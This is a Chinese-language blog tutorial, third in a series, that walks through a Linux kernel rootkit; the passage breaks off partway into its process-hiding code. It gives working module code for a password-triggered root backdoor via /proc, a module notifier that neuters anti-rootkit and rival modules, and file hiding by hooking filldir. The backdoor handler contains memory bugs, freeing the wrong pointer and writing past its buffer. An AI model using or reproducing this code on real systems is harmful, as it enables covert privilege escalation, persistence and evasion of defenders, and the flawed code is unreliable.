1. 程式人生 > >Linux Rootkit系列三:例項詳解 Rootkit 必備的基本功能

Linux Rootkit系列三:例項詳解 Rootkit 必備的基本功能

前言

鑑於筆者知識能力上的不足,如有疏忽,歡迎糾正。

測試建議: 不要在物理機測試!不要在物理機測試! 不要在物理機測試!

概要

上一篇文章中筆者詳細地闡述了基於直接修改系統呼叫表 (即 sys_call_table /ia32_sys_call_table )的掛鉤, 文章強調以程式碼與動手實驗為核心。

長話短說,本文也將以同樣的理念帶領讀者一一縷清 Rootkit 必備的基本功能,包括提供 root 後門,控制核心模組的載入, 隱藏檔案(提示:這是文章的重點與核心內容),隱藏程序,隱藏網路埠,隱藏核心模組等。

短話長說,本文不打算給大家介紹剩下的幾種不同的系統呼叫掛鉤技術:比如說,修改 32 位系統呼叫( 使用 int $0x80

) 進入核心需要使用的IDTInterrupt descriptor table / 中斷描述符表) 項, 修改 64位系統呼叫( 使用 syscall )需要使用的MSRModel-specific register / 模型特定暫存器,具體講, 64位系統呼叫派遣例程的地址位於 MSR_LSTAR );又比如基於修改系統呼叫派遣例程 (對 64 位系統呼叫而言也就是entry_SYSCALL_64 ) 的鉤法; 又或者,內聯掛鉤 / InlineHooking

這些鉤法我們以後再談,現在,我們先專心把一種鉤法玩出花樣。上一篇文章講的鉤法,也就是函式指標的替換,並不侷限於鉤系統呼叫。本文會將這種方法應用到其他的函式上。

第一部分:Rootkit 必備的基本功能

站穩,坐好。

1. 提供 root 後門

這個特別好講,筆者就拿提供 root 後門這個功能開刀了。

具體說來,邏輯是這樣子的, 我們的核心模組在/proc 下面建立一個檔案,如果某一個程序向這個檔案寫入特定的內容(讀者可以把這個“特定的內容”理解成口令或者密碼),我們的核心模組就把這個程序的uid euid等等全都設定成 0, 也就是 root 賬號的。這樣,這個程序就擁有了 root許可權。

不妨拿 全志 root 後門這件事來舉個例子,在執行有後門的 Linux 核心的裝置上, 程序只需要向/proc/sunxi_debug/sunxi_debug

寫入 rootmydevice 就可以獲得 root許可權。

另外,我們的核心模組建立的那個檔案顯然是要隱藏掉的。考慮到現在還沒講檔案隱藏(本文後面會談檔案隱藏),所以這一小節的實驗並不包括將創建出來的檔案隱藏掉。

下面我們看看怎樣在核心模組裡建立/proc 下面的檔案。

全志 root 後門程式碼裡用到的create_proc_entry 是一個過時了的API,而且在新核心裡面它已經被去掉了。 考慮到筆者暫時還不考慮相容老的核心,所以我們直接用新的API proc_create proc_remove , 分別用於建立與刪除一個/proc 下面的專案。

函式原型如下。

# include <linux/proc_fs.h>

static inline struct proc_dir_entry *
proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct file_operations *proc_fops);

void
proc_remove(struct proc_dir_entry *entry);

proc_create 引數的含義依次為,檔名字,檔案訪問模式,父目錄,檔案操作函式結構體。 我們重點關心第四個引數:struct file_operations裡面是一些函式指標,即對檔案的各種操作的處理函式, 比如,讀( read)、寫( write )。 該結構體的定義位於 linux/fs.h,後面講檔案隱藏的時候還會遇到它。

建立與刪除一個 /proc檔案的程式碼示例如下。

struct proc_dir_entry *entry;

entry = proc_create(NAME, S_IRUGO | S_IWUGO, NULL, &proc_fops);

proc_remove(entry);

實現我們的需求只需要提供一個寫操作( write )的處理函式就可以了,如下所示。

ssize_t
write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp);

struct file_operations proc_fops = {
    .write = write_handler
};

ssize_t
write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp)
{
    char *kbuff;
    struct cred* cred;

    // 分配記憶體。
    kbuff = kmalloc(count, GFP_KERNEL);
    if (!kbuff) {
        return -ENOMEM;
    }

    // 複製到核心緩衝區。
    if (copy_from_user(kbuff, buff, count)) {
        kfree(kbuff);
        return -EFAULT;
    }
    kbuff[count] = (char)0;

    if (strlen(kbuff) == strlen(AUTH) &&
        strncmp(AUTH, kbuff, count) == 0) {

        // 使用者程序寫入的內容是我們的口令或者密碼,
        // 把程序的 ``uid`` 與 ``gid`` 等等
        // 都設定成 ``root`` 賬號的,將其提權到 ``root``。
        fm_alert("%s\n", "Comrade, I will help you.");
        cred = (struct cred *)__task_cred(current);
        cred->uid = cred->euid = cred->fsuid = GLOBAL_ROOT_UID;
        cred->gid = cred->egid = cred->fsgid = GLOBAL_ROOT_GID;
        fm_alert("%s\n", "See you!");
    } else {
        // 密碼錯誤,拒絕提權。
        fm_alert("Alien, get out of here: %s.\n", kbuff);
    }

    kfree(buff);
    return count;
}

實驗

編譯並載入我們的核心模組,以 Kali 為例:Kali 預設只有 root 賬號, 我們可以用useradd <username> 新增一個臨時的非 root 賬號來執行提權指令碼(r00tme.sh )做演示。 效果參見下圖, 可以看到在提權之前使用者的uid 是 1000,也就是普通使用者,不能讀取 /proc/kcore ; 提權之後,uid 變成了0,也就是超級使用者,可以讀取 /proc/kcore

image

2. 控制核心模組的載入

想象一下,在一個月黑風高的夜晚,邪惡的讀者(誤:善良的讀者)通過某種手段(可能的經典順序是RCE +LPE , Remote CodeExecution / 遠端程式碼執行 + Local Privilege Escalation / 本地特權提升)得到了某臺機器的 root 命令執行; 進而執行 Rootkit 的 Dropper程式釋放並配置好 Rootkit, 讓其進入工作狀態。

這時候,Rootkit 首先應該做的並不是提供 root 後門;而是,一方面,我們應該嘗試把我們進來的門(漏洞)堵上, 避免 其他不良群眾亂入,另一方面,我們希望能控制好其他程式(這個其他程式主要是指反 Rootkit 程式與 其他 不良 Rootkit),使其不載入 其他 不良核心模組與我們在核心態血拼。

理想狀態下,我們的 Rootkit 獨自霸佔核心態, 阻止所有不必要的程式碼(尤其是反 Rootkit 程式與 其他 不良 Rootkit)在核心態執行。當然,理想是艱鉅的,所以我們先做點容易的,控制核心模組的載入。

控制核心模組的載入,我們可以從通知鏈機制下手。通知鏈的詳細工作機制讀者可以檢視參考資料;簡單來講,當某個子系統或者模組發生某個事件時,該子系統主動遍歷某個連結串列,而這個連結串列中記錄著其他子系統或者模組註冊的事件處理函式,通過傳遞恰當的引數呼叫這個處理函式達到事件通知的目的。

具體來說,我們註冊一個模組通知處理函式,在模組完成載入之後、開始初始化之前, 即模組狀態為 MODULE_STATE_COMING, 將其初始函式掉包成一個什麼也不做的函式。這樣一來,模組不能完成初始化,也就相當於殘廢了。

筆者決定多讀讀程式碼,少講理論,所以我們先簡要分析一下核心模組的載入過程。 相關程式碼位於核心原始碼樹的kernel/module.c 。 我們從 init_module 開始看。

SYSCALL_DEFINE3(init_module, void __user *, umod,
         unsigned long, len, const char __user *, uargs)
{
     int err;
     struct load_info info = { };

     // 檢查當前設定是否允許載入核心模組。
     err = may_init_module();

     if (err)
         return err;

     pr_debug("init_module: umod=%p, len=%lu, uargs=%p\n",
            umod, len, uargs);

     // 複製模組到核心。
     err = copy_module_from_user(umod, len, &info);
     if (err)
         return err;

     // 交給 ``load_module`` 進一步處理。
     return load_module(&info, uargs, 0);
}

模組載入的主要工作都是 load_module 完成的,這個函式比較長,這裡只貼我們關心的一小段。

static int load_module(struct load_info *info, const char __user *uargs,
            int flags)
{
     // 這兒省略若干程式碼。

     /* Finally it's fully formed, ready to start executing. */
     // 模組已經完成載入,可以開始執行了(但是還沒有執行)。
     err = complete_formation(mod, info);
     if (err)
         goto ddebug_cleanup;

     // 我們註冊的通知處理函式會在 ``prepare_coming_module`` 的
     // 時候被呼叫,完成偷天換日。在下面我們還會分析一下這個函式。
     err = prepare_coming_module(mod);
     if (err)
         goto bug_cleanup;

     // 這兒省略若干程式碼。

     // 在 ``do_init_module`` 裡面,模組的初始函式會被執行。
     // 然而在這個時候,我們早就把他的初始化函式掉包了(/偷笑)。
     return do_init_module(mod);

     // 這兒省略若干程式碼:錯誤時釋放資源等。
}
static int prepare_coming_module(struct module *mod)
{
     int err;

     ftrace_module_enable(mod);
     err = klp_module_coming(mod);
     if (err)
         return err;

     // 就是這兒!呼叫通知鏈中的通知處理函式。
     // ``MODULE_STATE_COMING`` 會原封不動地傳遞給我們的處理函式,
     // 我們的處理函式只需處理這個通知。
     blocking_notifier_call_chain(&module_notify_list,
                      MODULE_STATE_COMING, mod);
     return 0;
}

說的具體點, 我們註冊的通知鏈處理函式是在 notifier_call_chain函式裡被呼叫的,呼叫層次為: blocking_notifier_call_chain ->__blocking_notifier_call_chain -> notifier_call_chain 。有疑惑的讀者可以細緻地看看這部分程式碼, 位於核心原始碼樹的kernel/notifier.c

程式碼分析告一段落,接下來我們看看如何註冊模組通知處理函式。用於描述通知處理函式的結構體是 struct notifier_block , 定義如下 。

typedef  int (*notifier_fn_t)(struct notifier_block *nb,
             unsigned long action, void *data);

struct notifier_block {
     notifier_fn_t notifier_call;
     struct notifier_block __rcu *next;
     int priority;
};

註冊或者登出模組通知處理函式可以使用 register_module_notifier 或者unregister_module_notifier ,函式原型如下。

int
register_module_notifier(struct notifier_block *nb);

int
unregister_module_notifier(struct notifier_block *nb);

編寫一個通知處理函式,然後填充 struct notifier_block 結構體, 最後使用register_module_notifier 註冊就可以了。程式碼片段如下。

int
module_notifier(struct notifier_block *nb,
                unsigned long action, void *data);

struct notifier_block nb = {
    .notifier_call = module_notifier,
    .priority = INT_MAX
};

上面的程式碼是宣告處理函式並填充所需結構體; 下面是處理函式具體實現。

int
fake_init(void);
void
fake_exit(void);


int
module_notifier(struct notifier_block *nb,
                unsigned long action, void *data)
{
    struct module *module;
    unsigned long flags;
    // 定義鎖。
    DEFINE_SPINLOCK(module_notifier_spinlock);

    module = data;
    fm_alert("Processing the module: %s\n", module->name);

    //儲存中斷狀態加鎖。
    spin_lock_irqsave(&module_notifier_spinlock, flags);
    switch (module->state) {
    case MODULE_STATE_COMING:
        fm_alert("Replacing init and exit functions: %s.\n",
                 module->name);
        // 偷天換日:篡改模組的初始函式與退出函式。
        module->init = fake_init;
        module->exit = fake_exit;
        break;
    default:
        break;
    }

    // 恢復中斷狀態解鎖。
    spin_unlock_irqrestore(&module_notifier_spinlock, flags);

    return NOTIFY_DONE;
}


int
fake_init(void)
{
    fm_alert("%s\n", "Fake init.");

    return 0;
}


void
fake_exit(void)
{
    fm_alert("%s\n", "Fake exit.");

    return;
}

實驗

測試時我們還需要構建另外一個簡單的模組( test )來測試,從下圖可以看到在載入用於控制模組載入的核心模組( komonko ) 之前,test 的初始函式與退出函式都正常的執行了; 在載入 komonko 之後,無論是載入 test 還是解除安裝 test , 它的初始函式與退出函式都沒有執行,執行的是我們掉包後的初始函式與退出函式。

image

3. 隱藏檔案

說好的重點內容檔案隱藏來了。不過說到檔案隱藏,我們不妨先看看檔案遍歷的實現, 也就是系統呼叫getdents / getdents64 ,簡略地瀏覽它在核心態服務函式(sys_getdents)的原始碼 (位於fs/readdir.c ),我們可以看到如下呼叫層次, sys_getdents ->iterate_dir -> struct file_operations 裡的 iterate ->這兒省略若干層次 -> struct dir_context 裡的 actor ,也就是filldir

filldir 負責把一項記錄(比如說目錄下的一個檔案或者一個子目錄)填到返回的緩衝區裡。如果我們鉤掉 filldir ,並在我們的鉤子函式裡對某些特定的記錄予以直接丟棄,不填到緩衝區裡,上層函式與應用程式就收不到那個記錄,也就不知道那個檔案或者資料夾的存在了,也就實現了檔案隱藏。

具體說來,我們的隱藏邏輯如下: 篡改根目錄(也就是“/”)的 iterate為我們的假 iterate , 在假函式裡把 struct dir_context 裡的 actor替換成我們的 假 filldir ,假 filldir 會把需要隱藏的檔案過濾掉。

下面是假 iterate 與 假 filldir 的實現。

int
fake_iterate(struct file *filp, struct dir_context *ctx)
{
    // 備份真的 ``filldir``,以備後面之需。
    real_filldir = ctx->actor;

    // 把 ``struct dir_context`` 裡的 ``actor``,
    // 也就是真的 ``filldir``
    // 替換成我們的假 ``filldir``
    *(filldir_t *)&ctx->actor = fake_filldir;

    return real_iterate(filp, ctx);
}


int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
        // 如果是需要隱藏的檔案,直接返回,不填到緩衝區裡。
        fm_alert("Hiding: %s", name);
        return 0;
    }

    /* pr_cont("%s ", name); */

    // 如果不是需要隱藏的檔案,
    // 交給的真的 ``filldir`` 把這個記錄填到緩衝區裡。
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}

鉤某個目錄的 struct file_operations 裡的函式, 筆者寫了一個通用的巨集。

# define set_f_op(op, path, new, old)                       \
    do {                                                    \
        struct file *filp;                                  \
        struct file_operations *f_op;                       \
                                                            \
        fm_alert("Opening the path: %s.\n", path);          \
        filp = filp_open(path, O_RDONLY, 0);                \
        if (IS_ERR(filp)) {                                 \
            fm_alert("Failed to open %s with error %ld.\n", \
                     path, PTR_ERR(filp));                  \
            old = NULL;                                     \
        } else {                                            \
            fm_alert("Succeeded in opening: %s\n", path);   \
            f_op = (struct file_operations *)filp->f_op;    \
            old = f_op->op;                                 \
                                                            \
            fm_alert("Changing iterate from %p to %p.\n",   \
                     old, new);                             \
            disable_write_protection();                     \
            f_op->op = new;                                 \
            enable_write_protection();                      \
        }                                                   \
    } while(0)

實驗

實驗時,筆者隨(gu)手(yi)用來隱藏的檔名: 032416_525.mp4 。從下圖我們可以看到,在載入我們的核心模組( fshidko )之前, test目錄下的 032416_525.mp4 是可以列舉出來的; 但是載入 fshidko之後就看不到了,並且在 dmesg 的日誌裡, 我們可以看到 fshidko列印的隱藏了這個檔案的資訊。

image

選讀內容:相關核心原始碼的簡略分析

SYSCALL_DEFINE3(getdents, unsigned int, fd,
         struct linux_dirent __user *, dirent, unsigned int, count)
{
     // 這兒省略若干程式碼。

     struct getdents_callback buf = {
         .ctx.actor = filldir, // 最後的接鍋英雄。
         .count = count,
         .current_dir = dirent
     };

     // 這兒省略若干程式碼。

     // 跟進 ``iterate_dir``,
     // 可以看到它是通過 ``struct file_operations`` 裡
     // ``iterate`` 完成任務的。
     error = iterate_dir(f.file, &buf.ctx);

     // 這兒省略若干程式碼。

     return error;
}

int iterate_dir(struct file *file, struct dir_context *ctx)
{
     struct inode *inode = file_inode(file);
     int res = -ENOTDIR;

     // 如果 ``struct file_operations`` 裡的 ``iterate``
     // 為 ``NULL``,返回 ``-ENOTDIR`` 。
     if (!file->f_op->iterate)
         goto out;

     // 這兒省略若干程式碼。

     res = -ENOENT;
     if (!IS_DEADDIR(inode)) {
         ctx->pos = file->f_pos;
         // ``iterate_dir`` 把鍋甩給了
         // ``struct file_operations`` 裡的 ``iterate``,
         // 對這個 ``iterate`` 的分析請看下面。
         res = file->f_op->iterate(file, ctx);
         file->f_pos = ctx->pos;
         // 這兒省略若干程式碼。
     }
     // 這兒省略若干程式碼。
out:
     return res;
}

這一層一層的剝開, 我們來到了 struct file_operations 裡面的 iterate, 這個 iterate 在不同的檔案系統有不同的實現, 下面(位於fs/ext4/dir.c ) 是針對 ext4檔案系統的 struct file_operations , 我們可以看到ext4 檔案系統的 iterateext4_readdir

const struct file_operations ext4_dir_operations = {
     .llseek         = ext4_dir_llseek,
     .read       = generic_read_dir,
     .iterate    = ext4_readdir,
     .unlocked_ioctl = ext4_ioctl,
#ifdef CONFIG_COMPAT
     .compat_ioctl   = ext4_compat_ioctl,
#endif
     .fsync      = ext4_sync_file,
     .open       = ext4_dir_open,
     .release    = ext4_release_dir,
};

ext4_readdir 經過各種各樣的操作之後會通過 filldir把目錄裡的專案一個一個的填到 getdents返回的緩衝區裡,緩衝區裡是一個個的 struct linux_dirent 。我們的隱藏方法就是在 filldir 裡把需要隱藏的專案給過濾掉。

4. 隱藏程序

Linux 上純使用者態列舉並獲取程序資訊,/proc 是唯一的去處。所以,對使用者態隱藏程序,我們可以隱藏掉/proc 下面的目錄,這樣使用者態能枚舉出來程序就在我們的控制下了。讀者現在應該些許體會到為什麼檔案隱藏是本文的重點內容了。

我們修改一下上面隱藏檔案時的假 filldir 即可實現程序隱藏, 如下所示。

int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    char *endp;